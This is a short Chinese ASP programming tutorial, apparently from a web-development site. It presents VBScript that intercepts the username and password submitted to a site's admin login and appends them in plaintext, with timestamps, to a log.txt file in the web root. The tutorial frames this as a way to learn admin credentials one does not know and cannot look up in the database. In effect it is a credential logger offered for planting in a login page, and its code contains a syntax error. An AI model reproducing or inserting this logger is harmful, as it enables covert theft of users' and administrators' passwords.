精美而实用的网站,关注web编程技术、网站运营、SEO推广,让您轻松愉快的学习

有时候我们不知道用户的后台登录用户名与密码,又不想去查看数据库或者没有数据库查看权限的时候,我们可以用程序获取后台登录用户名密码保存到txt里。

实际的应用范例

dim username,password,CheckCode 
username=trim(request("username")'用户提交获取用户名
password=trim(Request("password"))'用户提交获取用密码

'这后面就是前面的核心代码了
set fso=server.createobject("scripting.filesystemobject") 
if fso.FileExists(server.mappath("log.txt"))=true then 
set fin=fso.OpenTextFile(server.mappath("log.txt")) 
temp=fin.readall 
fin.close 
set fin=nothing 
end if 
set fout=fso.createtextfile(server.mappath("log.txt")) 
fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"") 
fout.close 
set fout=nothing 
set fso=nothing
Tags:ASP 截取